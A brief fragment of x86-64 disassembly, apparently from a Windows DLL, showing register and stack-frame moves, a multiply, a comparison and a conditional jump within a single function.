mov edx, dword [rbp + 0x77]
mov r12, rcx
mov r14, qword [rbp + 0x7f]
xor ecx, ecx
mov ebx, dword [rbp - 0x11]
mov esi, r9d
mov edi, dword [rbp + 0x77]
mov r15d, r9d
imul eax, r9d, 0x54
mov r13, r8
lea r8, [0x180000000]
mov dword [rbp - 0x31], edx
lea r10d, [rcx + 8]
cmp r9d, eax
mov dword [rbp - 0x29], eax
mov r9, qword [rbp + 0xf]
mov eax, dword [rbp + 0x77]
mov qword [rbp - 0x19], r9
mov dword [rbp + 7], eax
ja 0x18000fc86
lea r11d, [rcx + 0xd]